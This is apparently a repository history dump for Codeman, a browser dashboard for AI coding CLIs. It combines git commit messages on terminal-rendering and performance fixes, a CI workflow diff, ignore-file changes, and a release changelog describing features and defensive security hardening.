- Remove unused validateTokenCounts/validateTokensAndCost exports and PlanPhase type alias
- Add execPattern() helper to eliminate 8 repetitive .lastIndex=0 + exec() loops
- Centralize 11 magic number constants into config/ai-defaults.ts and config/server-timing.ts
- Remove stale src/tui from tsconfig.json exclude
- Fix CLAUDE.md inaccuracies (session helpers, app.js line count, module count)
- Add 316 new tests: LRUMap (38), StaleExpirationMap (42), BufferAccumulator (33),
  respawn helpers (142), system-routes expansion (11→61)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 07:33:44 +01:00
arkonandClaude Opus 4.6 b7b2555dc0 test: add Operation Lightspeed tests — tab switching, local echo, SSE filters
14 new tests covering tab switch SSE reconnect, terminal buffer edge cases
(tail=0, negative, non-numeric, huge values), extractSessionId filtering,
session lifecycle churn, and concurrent SSE client limits.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 07:04:27 +01:00
arkonandClaude Opus 4.6 a609c435fa fix: use TERMINAL_TAIL_SIZE constant and add client-drop recovery
Two hardcoded `256 * 1024` tail sizes in app.js bypassed the
TERMINAL_TAIL_SIZE constant (128KB), causing stale cached browsers
to fetch 256KB buffers even after the constant was reduced to prevent
WebGL GPU stalls. Also adds a self-recovery timer that reloads the
terminal buffer after client-side data drops, preventing permanent
display corruption.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-07 07:00:18 +01:00
arkonandClaude Opus 4.6 3268a12e5e fix: Operation Lightspeed review fixes — padding, dead code, tablet WebGL
- Add SSE padding to backpressure drain write for tunnel clients
- Remove dead SessionTerminal from broadcast padding check
- Trim whitespace in SSE session filter query params
- Remove unused _bufferLazyTerminalData scaffolding code
- Skip WebGL on tablets too, not just phones (canvas fallback)

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 06:40:09 +01:00
arkonandClaude Opus 4.6 1f30ed445c perf: Operation Lightspeed — 5 parallel performance optimizations
1. Session-scoped SSE subscriptions: server filters events by session ID,
   clients can subscribe via ?sessions=id1,id2 (backwards-compatible)
2. Lazy xterm.js for subagent windows: terminals created on restore,
   disposed on minimize — saves ~3.75MB DOM at 50 agents
3. Targeted badge updates: badge count changes update the <span> directly
   instead of rebuilding the entire session tab sidebar (O(1) vs O(n))
4. Conditional SSE padding: 8KB Cloudflare padding only on session:terminal
   and session:needsRefresh, not every event (~70% bandwidth reduction)
5. Canvas renderer on mobile: skip WebGL addon on mobile devices to reduce
   GPU pressure and prevent context loss on weaker mobile GPUs

All 5 implemented in parallel via isolated git worktrees, merged conflict-free.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-07 06:14:16 +01:00
arkonandClaude Opus 4.6 415f02e680 fix: multi-layer backpressure to prevent terminal write freezes
Add three layers of protection against oversized terminal.write() calls
that freeze Chrome's main thread:

1. SSE entry cap: _onSessionTerminal drops data when total queued bytes
   (pendingWrites + flickerFilterBuffer) exceeds 128KB. Server sends
   session:needsRefresh to recover dropped content.

2. Flush cap: flushPendingWrites splits at DEC 2026 sync segment
   boundaries with 64KB per-frame budget. Excess segments deferred to
   next requestAnimationFrame. Segment-level splitting preserves Ink
   redraw atomicity (no flicker).

3. Reduced tail size: initial buffer fetch reduced to 128KB (from 256KB)
   to limit data volume during tab switch.

Re-enable WebGL renderer — root cause was unbounded terminal.write()
volume, not the GPU renderer itself.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-06 17:10:25 +01:00
arkon d5814947d6 chore: version packages 2026-03-05 23:09:24 +01:00
arkonandClaude Opus 4.6 b620511d0e fix: cap terminal writes at 48KB/frame to prevent page unresponsive freezes
Root cause was NOT WebGL — breadcrumbs showed 141KB single-frame
terminal.write() calls freezing Chrome for 2+ minutes even with the
canvas renderer. During heavy Ink output, multiple SSE terminal events
accumulate between animation frames and flush all at once.

Fix: split flushPendingWrites at DEC 2026 sync segment boundaries with
a 48KB per-frame budget. Each segment is a complete Ink redraw, so
splitting between them preserves atomicity (no flicker). Excess
segments are deferred to the next requestAnimationFrame.

Also re-enable WebGL since it was not the cause — the flush cap
protects both renderers equally.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-05 18:36:27 +01:00
arkon 525f02f502 chore: version packages 2026-03-05 17:59:33 +01:00
arkonandClaude Opus 4.6 e07c59477d fix: disable WebGL renderer to prevent Chrome page unresponsive crashes
Root cause: xterm.js WebGL addon performs synchronous GPU ReadPixels
calls during terminal.write(). When heavy terminal output floods in
(~1MB/4s from active Claude sessions), single-frame writes of 70-105KB
block Chrome's main thread for 10+ seconds, triggering "page
unresponsive" dialogs. This happens both during tab switches (buffer
load + live SSE data competing) and during normal use (Ink redraw
bursts).

Fix: disable WebGL by default, use canvas renderer instead. Canvas
handles the same workloads without GPU stalls. Re-enable with ?webgl
URL param for testing.

Also: gate live SSE terminal writes during the entire selectSession()
buffer load sequence (not just during chunkedTerminalWrite), preventing
live data from competing with historical buffer restoration.

Crash investigation data (from server-side breadcrumb collection):
- 27 flushes totaling 937KB in 4 seconds preceded crash
- Two 105KB and one 104KB single-frame flushes observed
- Crash occurred when user switched tabs during output flood
- Tab froze for 2m54s before recovering
- Backend always stable (0 crashes); pure frontend GPU issue

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-05 17:52:28 +01:00
arkonandClaude Opus 4.6 2b8a522cbd fix: add server-side crash breadcrumbs and remove --drop:console from build
The --drop:console esbuild flag was silently stripping all diagnostic
console.* calls from production builds, making crash investigation
impossible. Remove it temporarily for debugging.

Add server-side crash breadcrumb collection:
- Frontend writes breadcrumbs to localStorage AND POSTs to /api/crash-diag
- Server stores latest breadcrumbs in memory, readable via GET /api/crash-diag
- Granular breadcrumbs in selectSession: CACHE_WRITE, FETCH_START,
  FETCH_DONE, REWRITE, FOCUS, SELECT_DONE
- 2s heartbeat beacon so breadcrumbs survive tab freezes
- text/plain content-type parser for navigator.sendBeacon compatibility

Initial findings from breadcrumbs:
- Crash happens during selectSession() for sessions with large buffers
- Pattern: cached buffer exists from prior visit + live SSE data arriving
- Backend is always stable (0 crashes); this is a pure frontend issue

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-05 16:44:17 +01:00
arkonandClaude Opus 4.6 4abe055182 feat: add frontend crash diagnostics for page unresponsive investigation
Add global error handlers, long task detection, WebGL context tracking,
and performance timing to identify root cause of intermittent Chrome
"page unresponsive" freezes during session switching and typing.

Diagnostics:
- window error/unhandledrejection handlers ([CRASH-DIAG] prefix)
- PerformanceObserver for long tasks (>200ms main thread blocks)
- WebGL context loss/restore tracking on all canvases
- ?nowebgl URL param to disable WebGL renderer for testing
- Timing on flushPendingWrites, chunkedTerminalWrite, selectSession

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-05 12:42:32 +01:00
arkon 15a3b3996b chore: version packages 2026-03-05 00:28:13 +01:00
arkonandSigurður Guðbrandsson 1b76e6e2e2 fix: prevent Chrome freeze and shell feedback delay from flicker filter
Bug 1: Every incoming SSE terminal event reset the 50ms flush timer, not
just cursor-up events. During active Claude runs the timer never fired,
accumulating MBs in flickerFilterBuffer that froze Chrome on flush.
Fix: only reset timer on cursor-up events; add 256KB safety valve.

Bug 2: Shell sessions emit cursor-up on every keystroke for readline
prompt redraws, triggering the flicker filter and delaying feedback.
Fix: skip cursor-up filter for shell mode; disable local echo overlay.

Based on PR #31 by @SGudbrandsson.

Co-Authored-By: Sigurður Guðbrandsson <SGudbrandsson@users.noreply.github.com>
2026-03-05 00:27:07 +01:00
arkonandClaude Opus 4.6 f8b81b8478 fix: eliminate WebGL re-render flicker during tab switch
Stop toggling WebGL renderer off/on around large buffer writes in
chunkedTerminalWrite(). The dispose+loadAddon cycle caused visible
re-render flashes and (before the deferred fix) synchronous GPU stalls
from ReadPixels blocking the main thread. Instead, keep WebGL active
and rely on 32KB chunked writes to keep per-frame render work under
~5ms.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-04 16:01:16 +01:00
arkonandClaude Opus 4.6 d79e25d5d8 test: comprehensive CJK wide character test plan for PR #30
Covers all 7 test plan items: Chinese overlap prevention, double-width
spacing, Japanese/Korean input, cursor positioning, line wrapping at
column boundaries, ASCII regression, and teammate terminal panels.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-04 13:29:23 +01:00
arkonandClaude Opus 4.6 b1df5319d5 fix: prevent page unresponsive crashes from WebGL GPU stalls during session switch
Disable WebGL renderer during large buffer loads (>32KB) and fall back to
canvas, which handles bulk ANSI writes without synchronous GPU ReadPixels
calls. Re-enable WebGL after the buffer load completes so live terminal
streaming still benefits from GPU acceleration.

Also reduce chunk size from 128KB to 32KB and use chunked writes for
cached buffer restores instead of synchronous terminal.write().

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-04 13:18:02 +01:00
arkonandClaude Opus 4.6 fc92d8a8a4 fix: restore CJK wide character support in ZerolagInput overlay (#30)
Add charCellWidth/stringCellWidth helpers for Unicode-aware width detection,
fix makeLine to use for...of iteration with visual column positioning, and
fix line splitting in _render to use visual column widths instead of string
length. CJK/fullwidth characters now correctly occupy 2 cell widths.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>
2026-03-04 13:12:30 +01:00
arkonandClaude Opus 4.6 c7cd4f9e17 fix: prevent page unresponsive crashes from WebGL GPU stalls during session switch
Reduce terminal chunk size from 128KB to 32KB and use double-RAF between
chunks to give the WebGL renderer time to flush GPU operations. Also switch
cached buffer restore from direct terminal.write() to chunked writes —
the synchronous 256KB write was blocking the main thread for 5+ seconds
via synchronous ReadPixels calls.

Co-Authored-By: Claude Opus 4.6 (1M context) <noreply@anthropic.com>
2026-03-04 13:09:10 +01:00
437 changed files with 77939 additions and 26973 deletions
+65 -5
View File
@@ -11,10 +11,10 @@ jobs:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v4
- uses: actions/checkout@v6
- name: Setup Node.js
uses: actions/setup-node@v4
uses: actions/setup-node@v6
with:
node-version: 22
cache: 'npm'
@@ -22,15 +22,75 @@ jobs:
- name: Install dependencies
run: npm ci
- name: Check package-lock.json version sync
run: npm run check:lockfile
- name: Type check
run: npm run typecheck
- name: Lint
run: npm run lint
- name: Frontend JS syntax check
run: npm run check:frontend-syntax
- name: Format check
run: npm run format:check
# Note: The test suite is intentionally excluded from CI.
# Tests spawn real tmux sessions and require a full system environment.
# Run tests locally with: npx vitest run test/<file>.test.ts
- name: Server boot smoke test
run: |
set -u
if ! command -v tmux >/dev/null; then
sudo apt-get update -qq
sudo apt-get install -y tmux
fi
npx tsx src/index.ts web --port 3151 > /tmp/boot.log 2>&1 &
SERVER_PID=$!
trap "kill $SERVER_PID 2>/dev/null || true" EXIT
for i in $(seq 1 30); do
if curl -fsS http://localhost:3151/api/status -o /dev/null; then
echo "Server booted in ${i}s"
exit 0
fi
if ! kill -0 $SERVER_PID 2>/dev/null; then
echo "Server exited before becoming ready. Logs:"
cat /tmp/boot.log
exit 1
fi
sleep 1
done
echo "Server did not respond on /api/status within 30s. Logs:"
cat /tmp/boot.log
exit 1
test:
name: Unit & integration tests
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v6
- name: Setup Node.js
uses: actions/setup-node@v6
with:
node-version: 22
cache: 'npm'
- name: Install dependencies
run: npm ci
- name: Install tmux
run: |
if ! command -v tmux >/dev/null; then
sudo apt-get update -qq
sudo apt-get install -y tmux
fi
- name: Run unit & integration tests
# Excludes the browser-driven mobile suite (test/mobile/**); see config/vitest.ci.config.ts.
# Safe in CI: TmuxManager no-ops all shell commands under VITEST (test/setup.ts).
run: npm run test:ci
# Note: The browser-driven mobile suite (test/mobile/**) is excluded from CI —
# it needs a live server + chromium + environment-specific PNG baselines.
# Run it locally/manually. All other tests run via the `test` job above.
+3 -3
View File
@@ -16,12 +16,12 @@ jobs:
pull-requests: write
steps:
- name: Checkout repo
uses: actions/checkout@v4
uses: actions/checkout@v6
- name: Setup Node.js
uses: actions/setup-node@v4
uses: actions/setup-node@v6
with:
node-version: 20
node-version: 22
cache: npm
registry-url: https://registry.npmjs.org
+30 -1
View File
@@ -18,6 +18,10 @@ coverage/
test/e2e/screenshots/current/
test/e2e/screenshots/diffs/
# Mobile visual regression failure artifacts
test/mobile/snapshots/*.actual.png
test/mobile/snapshots/*.diff.png
# Logs
*.log
npm-debug.log*
@@ -48,7 +52,29 @@ Thumbs.db
# Generated output
out/
screenshots-echo-diag/
tools/remotion/out/
scripts/remotion/out/
# Artifacts that should not be tracked
test-results/
tmp/
# Root `public` (a symlink to scripts/remotion/public — local artifact). ANCHORED
# with a leading slash so it does NOT also match src/web/public (a bare `public`
# would swallow the whole web UI source dir and silently un-stage any new asset
# added there). No trailing slash so it still matches the symlink, not just dirs.
/public
# Opt-in gesture overlay runtime assets: large MediaPipe wasm + model (~27 MB)
# fetched at build/install by scripts/fetch-gesture-assets.mjs, kept out of git.
# (The gesture bundle itself, gesture-codeman.js, IS tracked — built from
# packages/gesture-control source by `npm run build:gesture`.)
src/web/public/gesture/wasm/
src/web/public/gesture/*.task
# Gesture-control workspace package build outputs (source is tracked; the
# Codeman bundle is emitted to src/web/public/gesture/gesture-codeman.js instead).
packages/gesture-control/dist/
packages/gesture-control/dist-codeman/
packages/gesture-control/.vite/
# Claude Code plan tracking
plan.json
@@ -61,3 +87,6 @@ commands
todo.md
@fix_plan.md
readme-preview.mjs
# Uploaded images land here under each session working dir (runtime artifact)
.claude-images/
+20 -1
View File
@@ -2,8 +2,27 @@ dist/
coverage/
node_modules/
src/web/public/vendor/
src/web/public/gesture/
src/web/public/app.js
src/web/public/styles.css
src/web/public/mobile.css
src/web/public/index.html
tools/
# Hand-formatted public JS modules (never prettier-enforced; the new
# check-public-assets.mjs still validates NUL bytes + JS syntax on these).
src/web/public/constants.js
src/web/public/image-input.js
src/web/public/input-cjk.js
src/web/public/keyboard-accessory.js
src/web/public/notification-manager.js
src/web/public/orchestrator-panel.js
src/web/public/panels-ui.js
src/web/public/ralph-panel.js
src/web/public/ralph-wizard.js
src/web/public/respawn-ui.js
src/web/public/session-ui.js
src/web/public/settings-ui.js
src/web/public/sw.js
src/web/public/terminal-ui.js
src/web/public/voice-input.js
src/web/public/upload.html
scripts/remotion/
+16
View File
@@ -0,0 +1,16 @@
# Repository Guidelines
Canonical agent/contributor guidance for this repository lives in [CLAUDE.md](CLAUDE.md) —
project structure, build/test/lint commands, code style, testing safety rules
(never run the full suite inside a managed tmux session), security notes, and
the deployment workflow are all maintained there. Please read it before making
changes, and keep it the single source of truth rather than duplicating
sections here.
Quick pointers:
- Type check: `tsc --noEmit` · Lint: `npm run lint` · Format: `npm run format:check`
- Targeted tests only: `npm test -- test/<file>.test.ts` (bare `npm test` is unsafe in managed sessions)
- Route tests use `app.inject()`; new tests needing ports must pick a unique `const PORT =`
- Branch off `master` for all work; Conventional Commit-style messages (`fix(mobile): ...`)
- Never commit secrets or local state from `~/.codeman/`
+822
View File
@@ -1,5 +1,827 @@
# aicodeman
## 1.1.3
### Patch Changes
- Ultracode floating run windows + a dedicated toggle to control them.
- **New: floating ultracode run windows.** When enabled, each active ultracode / Workflow run pops a small draggable window (like the file browser) connected by a glowing line to its originating session tab — the same connector-line idiom as subagent windows. The tab is resolved by matching the run's `sessionUuid` to a session's `claudeSessionId`. The window mirrors the live agent grid (phases, per-agent model / tokens burned / tool calls / state), auto-closes a few seconds after its run finishes, and remembers windows you explicitly dismiss so they don't re-pop. These windows are **additional to** the existing docked "Ultracode Agents" master-detail panel, which is unchanged.
- **New setting "Ultracode Floating Windows"** (App Settings → Display), **default OFF**, independent of the "Ultracode Agents" panel toggle. Either toggle now starts the server-side workflow-run watcher (at boot and on live settings change), so the floating windows work even with the docked panel off.
- Internals: new frontend module `ultracode-windows.js` (load order 15.5); ultracode connector lines are appended into the shared `#connectionLines` SVG within the existing batched read/write reflow pass in `subagent-windows.js`; new `ultracodeFloatingWindows` app-settings key in `schemas.ts`; watcher gating in `server.ts` + `system-routes.ts` now ORs both ultracode toggles.
- Docs: `CLAUDE.md` brought up to date for the 1.1.2 ultracode/workflow-run subsystem (Agents / Frontend / Types / Config inventories, JS load order, a Key Patterns entry) and the new floating-windows feature.
## 1.1.2
### Patch Changes
- Ultracode/Workflow run visualization + subagent discovery fixes.
- **Ultracode / Workflow run visualization** (new, opt-in): App Settings → Display → "Ultracode Agents" (`showUltracodeAgents`, default OFF) adds a master-detail tab that shows ultracode / Workflow-tool runs like Claude Code's "working agents" view — the LEFT pane lists runs and their phases (selectable tasks), the RIGHT pane shows each run's agents with model, live state, tokens burned, and tool calls. Clicking an agent opens its live transcript. Backed by a new standalone workflow-run watcher that reads the per-run state JSON (stripping the heavy embedded script/result/logs so payloads stay small), exposes `GET /api/workflows` and `GET /api/workflows/:runId`, and broadcasts `workflow:run_discovered/updated/removed` SSE events. The header launcher and panel stay hidden until the setting is enabled (the setting is synced across devices, not per-device).
- **Subagent tracking discovery fix**: restored subagent tracking after Claude Code changed the on-disk format from `agent-*.jsonl` to `agent-*.meta.json` (background agents were showing 0). Also discovers workflow-nested subagents under `subagents/workflows/<wf>/` and hardens the meta→transcript upgrade path so an agent re-points to its `.jsonl` transcript once it appears.
- **File viewer**: opens audio, SVG, and other binary files the same way the attachments viewer does.
- **Tooling**: hardened the real-overview screenshot capture script and documented the `deviceScaleFactor` / static-cache gotchas.
## 1.1.1
### Patch Changes
- Six reviewed contributor PRs (all adversarially reviewed and fixed before merge):
- **Markdown sanitizer hardened against mutation-XSS (#126).** The denylist `_sanitizeHtml` is replaced with vendored DOMPurify 3.4.8 (authentic, byte-matched to the official dist) wired via a new `sanitize-html.js` allowlist, with a fail-closed escape fallback. The curated allowlist is genuinely enforced (no `USE_PROFILES` override) so non-markdown tags and svg/math/style/script/event-handler/`javascript:` vectors are stripped while legitimate markdown survives.
- **Hook-event secret now required unconditionally (#127).** The `/api/hook-event` + `/api/status-telemetry` localhost bypass requires the per-instance hook secret whether or not a managed tunnel is running, closing the own-loopback-reverse-proxy gap. A self-heal refreshes pre-secret hook configs in existing cases on spawn so password-protected installs don't silently 401 their hooks. No-password loopback installs are unaffected.
- **`codeman doctor` dependency checker (#125).** New `doctor`/`check-deps` command probes Node, the agent CLIs, tmux, and document converters per environment (linux/darwin/win32/wsl), with grouped or `--json` output and a non-zero exit when a required tool is missing. Requires Node 22+, reports `pdftoppm` (used for PDF/Office thumbnails), and validates `--category`.
- **macOS Option / physical-key session shortcuts (#129).** Tab switching matches physical key codes (`e.code`) so Option+1–9 works on macOS layouts that remap Option, plus Option/Alt+`[`/`]` for previous/next session — without leaking escape sequences into the focused terminal.
- **Desktop session tabs auto-wrap to a second row on overflow (#128)** instead of horizontal scrolling (off when the manual two-row layout is pinned; mobile/tablet unchanged), re-evaluated on window resize.
- **CJK input textarea hidden on the welcome screen (#123)** so it no longer floats over the welcome overlay, and re-shown on session entry; vertical centering fixed.
## 1.1.0
### Minor Changes
- **Plan Usage Limits chip (new).** A header chip now shows your live Claude plan usage — the 5-hour and weekly windows as a percentage — parsed from Claude Code's statusLine telemetry (CLI v2.1.80+). It's opt-in via **App Settings → Display → "Plan Usage Limits"** (default OFF). The toggle is **per-device**: turn it on at your desk without it appearing on your phone. Telemetry collection is decoupled from display, so one device's preference never affects another's, and the last-known value replays instantly on reconnect. Distinct from auto-resume (which reacts to the limit _message_) — this proactively shows the live %.
**Attachments.** New attachment history drawer to browse files referenced by a session (COD-39), plus document previews and thumbnails on attachment cards (COD-38). The header **Attachments button is now opt-in** (default OFF) via **App Settings → Display → "Attachments Button"**, per-device like the Response Viewer button.
**Settings & models.** Added Opus 4.6 options to the Claude Model picker. Removed the legacy Token Count / Show Cost header toggles and moved Plan Usage Limits to the top of the Display settings. Slimmed the Skin picker control to match its row.
**Mobile & header polish.** Restored the response-viewer (eye) button on phones; kept the phone header minimal (settings gear + lifecycle log stay in the toolbar). Added two regression guards so header controls can't silently leak onto the mobile header again — a CI-runnable static policy check plus a real-browser E2E test.
## 1.0.0
### Major Changes
- # Codeman 1.0.0 🎉
The first stable release of Codeman — and it comes with a fresh new look.
**New: theme skins.** Codeman now ships a built-in skin switcher (App Settings → Display → Appearance):
- **OG Codeman** — the original look, preserved exactly.
- **Daylight Green** — a fresh emerald-on-slate theme.
- **Daylight Blue** — bright sky-blue on lifted slate (the new default).
Skins apply instantly, persist per device (with a pre-paint script so there's no flash on load), and re-theme any open terminals live. The system is built on `html[data-skin]` design tokens and self-hosted Manrope (UI) + JetBrains Mono (terminal) fonts — no external CDN, CSP-safe.
**1.0.0 milestone.** This marks the start of the stable 1.x line: the CLI, documented environment variables, and the `{ success, data }` HTTP/SSE API envelope follow semantic versioning (see `docs/versioning-policy.md`).
**Thank you to everyone who helped build Codeman.** This release is dedicated to all of our contributors for their work on the project: Ark0N, Aamer Akhter (@aakhter), Tenggan Zhang (@TeigenZhang), zhouyuan / @sunnyzhouy, jaypark, Marco Migozzi, Skúli Arnlaugsson, Aaron Fields, Loïc Sculier, and Noah Waldner (@noahwaldner). 💙
## 0.9.14
### Patch Changes
- Security hardening for the tunnel exposure path, Codex terminal rendering fixes, and a mobile modal fix.
**Security (PR #115, COD-54/COD-55):**
- `/api/hook-event` localhost bypass is now gated while the managed Cloudflare tunnel is running: tunneled traffic arrives with a loopback source IP, so the bypass additionally requires a per-instance shared secret (`X-Codeman-Hook-Secret`, 256-bit, `~/.codeman/hook-secret`, mode 0600). Locally generated hook commands read the secret file at execution time via `$CODEMAN_HOOK_SECRET_FILE` (exported into every managed session's environment), so the value never lands on command lines or in case configs, and running sessions pick up a new secret without respawn. Failed presentations rate-limit in a dedicated per-IP bucket so misfiring legacy hooks can never lock out the Basic-Auth login path. With no tunnel running, behavior is unchanged.
- Enabling the Cloudflare tunnel now **refuses with 403** when no `CODEMAN_PASSWORD` is set (a public tunnel URL with no auth is effectively public RCE), unless `CODEMAN_ALLOW_UNAUTHENTICATED_NETWORK=1` explicitly acknowledges the exposure. The settings UI surfaces the refusal as an error toast and reverts the toggle.
**Codex rendering (PRs #116, #117):**
- Alt-screen toggles (`?47/?1047/?1049`), scrollback-erase (`CSI 3 J`), and mouse-tracking enables (`?1000`–`?1007`) are stripped from the Codex byte stream (live + replay), so conversation history survives tab switches and the scroll wheel scrolls the viewport instead of being hijacked. Sequences split across PTY chunk boundaries are reassembled via a small carry before stripping, so a split `?1049h` can no longer trap xterm in the scrollback-less alt buffer.
- Smaller 32KB first-frame write budget for Codex sessions keeps dense synchronized redraws from stalling the renderer; a 1.5s grace window after a manual scroll-up suppresses sticky-scroll so high-frequency `• Working (Ns)` status ticks no longer snap the viewport back to the bottom while reading earlier output.
**Mobile:** session-options modal raised above the fixed mobile/tablet header (z-index 1300 vs 1200) so the close button is reachable on phones; Respawn tab controls regrouped.
**Docs:** security-architecture.md updated for the secret-gated hook bypass (including the external-proxy caveat) and the tunnel password guard; README documents auto-resume on usage limit.
## 0.9.13
### Patch Changes
- Auto-resume on usage limit ("token pause" control) plus a set of mobile-view fixes for regressions introduced in 0.9.8.
**Auto-resume on usage limit** — new opt-in checkbox at the top of the session Respawn tab (off by default). When Claude stops because a usage limit was reached, Codeman parses the reset time from the limit message, waits until the limit lifts (plus a 2-minute safety buffer), then dismisses the rate-limit dialog (Esc) and sends "continue" so the session picks its work back up automatically. All Claude Code message formats from 1.0.x through 2.1.x are recognized ("5-hour limit reached ∙ resets 8pm", "Limit reached · resets 1pm (America/Chicago) · /upgrade…", "You've hit your weekly limit · resets Mon 12:00am", weekly date forms, and the raw API `usage limit reached|<epoch>` form). Still-limited responses re-arm the scheduler (5-minute retry loop); a pending schedule persists across Codeman restarts and re-arms on boot; respawn cycles are blocked while a limit pause is active so the cycle's `/clear` cannot wipe the paused conversation. New endpoint `POST /api/sessions/:id/auto-resume`; new SSE events `session:limitPauseScheduled`, `session:limitResume`, `session:limitResumeCancelled`; toast/notification on pause and resume, plus a live "resumes at HH:MM" status line in the modal. The Respawn tab layout was also tidied: compact single-row Update/Kickstart prompt fields and a merged options row.
**Mobile fixes (0.9.8 regressions)**:
- **Activity-based resize arbitration** — a desktop sizing claim now only blocks a phone's resize while that desktop has actually typed within the last 90 seconds. Previously any connected desktop tab (even one abandoned hours ago) silently discarded the phone's resize with no fallback, leaving the phone rendering a desktop-width stream in a narrow terminal: mid-word wraps, tmux dot-fill rows, overdrawn garbled text, and misplaced keyboard echo. Now an idle desktop yields the pane to the phone, and the next desktop keystroke automatically restores the desktop layout ("whoever is actively using the session wins"). Phones also re-send their dimensions every 30 seconds (visible tab only, skipped while the virtual keyboard is open) so attaching under a momentarily-active desktop self-corrects.
- **Keyboard accessory bar and toolbar restored on iOS** — the lift offset is measured against the layout viewport (`window.innerHeight`) again instead of the keyboard-shrunken app element; on iOS the offset computed to 0, leaving both bars hidden behind the OS keyboard with a dead black gap above it.
- **Removed the mobile header utility ("three dots") toggle** — the header-utilities tray stays collapsed on small viewports.
## 0.9.12
### Patch Changes
- Documentation refresh — README catches up with the Codex run mode, plus a CLAUDE.md correction.
**README (en + zh-CN)**: Codex is now listed as a third supported AI coding CLI everywhere the docs previously said "Claude Code or OpenCode": the install requirement in Quick Start (now "any combination works", linking to the official Codex CLI docs), the Windows/WSL setup note, the renamed **Multi-CLI** feature bullet (env-prefix gating now reads `CLAUDE_CODE_*` vs `OPENCODE_*` vs `CODEX_*`), the Zod schema-validation security bullet, and the architecture mermaid diagram. The header tagline was also finalized to "Claude Code • OpenCode • Codex — One Dashboard • Any Device" in both languages.
**CLAUDE.md**: fixed a stale "Local packages" line that claimed the xterm-zerolag-input local-echo overlay had a copy embedded in `app.js` — it is single-source in `packages/xterm-zerolag-input/`, bundled to the gitignored vendor file, and only consumed by `app.js`, matching the existing single-source gotcha.
## 0.9.11
### Patch Changes
- Fix a terminal freeze on hover (catastrophic regex backtracking) and a CSP violation that disabled the terminal's anti-throttling worker.
**Tab-freezing hover bug**: the terminal link provider's `cmdPattern` (which turns `tail -f /path`-style text into clickable links) used an empty-matchable, unbounded arg group — `(?:[^\s\/]*\s+)*` — that backtracks exponentially on real Claude output, e.g. wrapped `git commit -m "$(cat <<'EOF'` heredoc lines or aligned table rows. Hovering the mouse over such a line hung the page's main thread for minutes ("page unresponsive"). The pattern now uses non-empty tokens with bounded repetition (linear time); all intended command+path link forms still match. New `test/link-provider-regex.test.ts` extracts the shipped patterns from source and pins linear-time behavior on the killer line shapes.
**Blob worker CSP fix**: `worker-src 'self' blob:` is now always present in the CSP (previously only with `CODEMAN_GESTURE=1`). The terminal's `_safeYield` anti-throttling tick worker is created from a Blob URL and was silently blocked on every install, logging a CSP violation on each page load and disabling the worker leg of the render-yield fallback chain.
## 0.9.10
### Patch Changes
- Self-update now restarts automatically on headless Macs supervised by a system LaunchDaemon.
New `launchd-daemon` supervisor kind: when Codeman runs under a bootstrapped, KeepAlive system-level LaunchDaemon (`/Library/LaunchDaemons/com.codeman.web.plist` — the right setup for headless Macs, where LaunchAgents never start because there is no GUI login), the updater no longer ends with "Update staged — restart Codeman to apply". It restarts rootlessly: the update script kills the server PID (passed via `--server-pid`) and launchd respawns it on the freshly built `dist/`. Detection is conservative — the daemon must be bootstrapped in the system domain AND have `KeepAlive` enabled.
Also fixed: a lingering "restart Codeman to apply" status. After a manual restart of a staged update, boot reconciliation now flips `completed-needs-manual-restart` to `completed` once the running version matches the staged target, so the Updates tab stops showing the stale instruction.
## 0.9.9
### Patch Changes
- Codex (OpenAI CLI) run mode, Claude Model picker, and response-viewer button now opt-in.
**Codex (OpenAI CLI) run mode** (#114): new `codex` session mode alongside Claude Code and OpenCode. Sessions launch the Codex CLI via tmux with secrets injected through `tmux setenv` (`OPENAI_API_KEY`/`CODEX_API_KEY`/`CODEX_HOME` — never on the command line). Supports `--model`, `resume <id>`, and `--dangerously-bypass-approvals-and-sandbox` via the `codexConfig` payload or the new App Settings → Codex CLI tab (`codexDangerouslyBypassApprovals`). Availability surfaced at `GET /api/codex/status` with an install hint when the binary is missing. Frontend gets a "Run CX" run-mode option; Respawn/Ralph options stay Claude-only (session options open on the Summary tab for external-CLI sessions). `CODEX_*` env prefix added to the env-override allowlist.
**Claude Model picker**: App Settings → Claude CLI gains a "Claude Model" select (`claudeModel` setting) that pins the model for new Claude sessions via the case's `.claude/settings.local.json` — e.g. Fable 5 (1M context), Fable 5, Opus (1M), Opus, Sonnet, Haiku. It takes precedence over the legacy 1M Opus Context toggle. Fable 5 also added to the orchestrator default/phase model dropdowns.
**Response-viewer (eye) header button is now hidden by default** — existing users who relied on it can re-enable it under App Settings → Display → Response Viewer (`showResponseViewer`, per-device setting). A new Display toggle controls its visibility.
Also: tests made immune to a set `CODEMAN_GESTURE` env var; CLAUDE.md documents the Codex run mode and the eye-button toggle.
## 0.9.8
### Patch Changes
- Stable HTTP contract, terminal pane-buffer rework, mobile/touch fixes, and fresh-install default cleanups.
**API / v1 readiness (PR #113)**
- Stable HTTP contract: uniform `{success, data}` / `{success: false, error, errorCode}` response envelope across all ~134 handlers, correct HTTP status codes, and a versioned `/api/v1/*` alias of `/api/*`
- Post-merge adversarial audit closed 9 contract gaps (envelope/status-code stragglers), incl. `loadQuickStartCases` double-unwrap
- Node.js floor raised to >=22; `codeman` bin alias installed alongside `aicodeman`
- Security hardening: SSRF guard on the push endpoint, tmux session-name validation, documented tail-file roots
- Governance: SECURITY.md and a SemVer versioning policy (docs/versioning-policy.md)
- CI now runs the full unit/integration suite (vitest.ci.config.ts) plus a frontend JS syntax gate
**Terminal (PR #112)**
